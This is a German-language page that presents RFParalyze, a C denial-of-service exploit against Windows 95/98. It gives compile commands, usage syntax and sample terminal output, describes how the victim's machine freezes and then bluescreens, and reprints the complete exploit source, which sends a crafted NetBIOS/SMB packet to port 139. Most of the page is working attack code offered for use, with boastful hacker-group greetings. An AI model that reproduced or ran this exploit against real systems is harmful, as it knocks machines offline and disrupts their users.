RFParalyze
Marc Ruef

 

Der unten angeführte C-Source kann unter Unix-Derivaten als Denial of Service-Instrument gegen Windows 95 und 98-Rechner genutzt werden. Ob eine Attacke gegen Windows NT oder 2000 auch in einem Gutfall für den Angreifer endet ist mir nicht bekannt.

Der Source wird am besten in der Kommandozeile von Linux mit der Eingabe von "gcc -o RFParalyze -Wall RFParalyze.c" kompiliert. Danach kann direkt aus der Shell die Attacke gestartet werden, wobei das Tool mit "RFParalyze <IP-Adresse> <NetBIOS-Name>" ausgeführt werden muss. Dieses DoS-Programm unterstützt keine DNS-Auflösung, womit strikt die IP-Adresse definiert werden muss; auch muss der NetBIOS-Name des Opfers ausnahmslos mit Grossbuchstaben niedergeschrieben werden.

Wird RFParalyze ohne korrekt definierte Parameter gestartet, erscheint folgende Meldung auf dem Bildschirm:

mruef@prometheus:~ > RFParalyze
RFParalyze -- this code by rfp/ADM/Wiretrip/ and dm/el8/
Usage: RFParalyze <IP of target> <NetBIOS name>
       --IP must be ip address, not dns
       --NetBIOS name must be in UPPER CASE
mruef@prometheus:~ > _
Die korrekte Ausführung von RFParalyze würde wie folgt aussehen:
mruef@prometheus:~ > RFParalyze 192.168.0.5 ROADRUNNER
RFParalyze -- this code by rfp/ADM/Wiretrip/ and dm/el8/
Greetz to el8.org, Technotronic, w00w00, USSR, and ADM!
Trying 192.168.0.5 as NetBIOS name ROADRUNNER 
Enemy engaged, going in for the kill...done
mruef@prometheus:~ > _
RFParalyze lässt den PC des Opfers zuerst einfrieren, wobei nur noch mit Hilfe der Tastenkombination [CTRL]+[ALT]+[DEL] dem PC zuerst einen Bluescreen (Screen of Death) entlockt werden kann, um danach einen Neustart zu erzwingen. Der Rechner ist während des eingefrorenen Zustandes nicht mehr im Netzwerk anpingbar und die Tasteneingaben verschwinden im Nirwana. Die Maus kann man zwar noch bewegen, jedoch werden Mausklicks nicht mehr (korrekt) wahrgenommen.

Hier nun folgend der C-Quelltext des beschriebenen Programms:

/*********************************** www.el8.org **** www.wiretrip.net **/

/*      - el8.org advisory: RFParalyze.c 

        code by rain forest puppy <rfp@wiretrip.net>   -
        coolness exhibited by Evan Brewer <dm@el8.org> -

        - Usage: RFParalyze <IP address> <NetBIOS name>

        where <IP address> is the IP address (duh) of the target (note:
        not DNS name).  <NetBIOS name> is the NetBIOS name (again, duh) of
        the server at the IP address given.  A kiddie worth his scripts
        should be able to figure out how to lookup the NetBIOS name. 
        Note: NetBIOS name must be in upper case.

        This code was made from a reverse-engineer of 'whisper', a 
        binary-only exploit found in the wild.

        I have only tested this code on Linux.  Hey, at least it's
        not in perl... ;)   -rfp

*/

#include <stdio.h>              /* It's such a shame to waste   */
#include <stdlib.h>             /* this usable space. Instead,  */
#include <string.h>             /* we'll just make it more      */
#include <netdb.h>              /* props to the men and women   */
#include <sys/socket.h>         /* (hi Tabi!) of #!adm and      */
#include <sys/types.h>          /* #!w00w00, because they rock  */
#include <netinet/in.h>         /* so much.  And we can't forget*/
#include <unistd.h>             /* our friends at eEye or       */
#include <string.h>             /* Attrition. Oh, +hi Sioda. :) */

/*      Magic winpopup message
        This is from \\Beav\beavis and says "yeh yeh"
        Ron and Marty should like the hardcoded values this has ;) 
*/
char blowup[]= "\x00\x00\x00\x41\xff\x53\x4d\x42\xd0\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x19\x00\x04\x42\x45\x41\x56\x00\x04\x42\x45\x41\x56\x49"
"\x53\x00\x01\x08\x00\x79\x65\x70\x20\x79\x65\x70\x00\x00";

struct sreq /* little structure of netbios session request */
        {
        char first[5]; 
        char yoname[32];
        char sep[2];
        char myname[32];
        char end[1];
        };

void Pad_Name(char *name1, char *name2); /* Thanks Antilove/ADM 4 codez!*/

int main(int argc, char *argv[]){
char buf[4000], myname[33], yoname[33];
struct sockaddr_in sin;
int sox, connex, x;
struct sreq smbreq;

printf("RFParalyze -- this code by rfp/ADM/Wiretrip/ and dm/el8/\n");

if (argc < 3) {
printf("Usage: RFParalyze <IP of target> <NetBIOS name>\n");
printf("       --IP must be ip address, not dns\n");
printf("       --NetBIOS name must be in UPPER CASE\n\n");
exit(1);}

printf("Greetz to el8.org, Technotronic, w00w00, USSR, and ADM!\n");

Pad_Name("WICCA",myname);  /* greetz to Simple Nomad/NMRC */
myname[30]='A';            /* how was Beltaine? :)        */
myname[31]='D';

Pad_Name(argv[2],yoname);
yoname[30]='A';
yoname[31]='D';
printf("Trying %s as NetBIOS name %s \n",argv[1],argv[2]);

sin.sin_addr.s_addr = inet_addr(argv[1]);
sin.sin_family      = AF_INET;
sin.sin_port        = htons(139);

sox = socket(AF_INET,SOCK_STREAM,0);
if((connex = connect(sox,(struct sockaddr_in *)&sin,sizeof(sin))) < 0){
    perror("Problems connecting: ");
    exit(1);}

memset(buf,0,4000);

memcpy(smbreq.first,"\x81\x00\x00\x44\x20",5); /*various netbios stuffz*/
memcpy(smbreq.sep,"\x00\x20",2);               /*no need to worry about*/
memcpy(smbreq.end,"\x00",1);                   /*what it does :)       */
strncpy(smbreq.myname,myname,32);
strncpy(smbreq.yoname,yoname,32);

write(sox,&smbreq,72);  /* send initial request */
x=read(sox,buf,4000);   /* get their response   */

if(x<1){ printf("Problem, didn't get response\n");
        exit(1);}

if(buf[0]=='\x82') printf("Enemy engaged, going in for the kill...");
else {printf("We didn't get back the A-OK, bailing.\n");
        exit(1);}

write(sox,&blowup,72);  /* send the magic message >:)     */
x=read(sox,buf,4000);   /* we really don't care, but sure */
close(sox);
printf("done\n");
}

void Pad_Name(char *name1, char *name2)
{ char c, c1, c2;
  int i, len;
  len = strlen(name1);
  for (i = 0; i < 16; i++) {
    if (i >= len) {
     c1 = 'C'; c2 = 'A'; /* CA is a space */
    } else {
      c = name1[i];
      c1 = (char)((int)c/16 + (int)'A');
      c2 = (char)((int)c%16 + (int)'A');
    }
    name2[i*2] = c1;
    name2[i*2+1] = c2;
  }
  name2[32] = 0;   /* Put in the null ...*/
}
 

/*********************************** www.el8.org **** www.wiretrip.net **/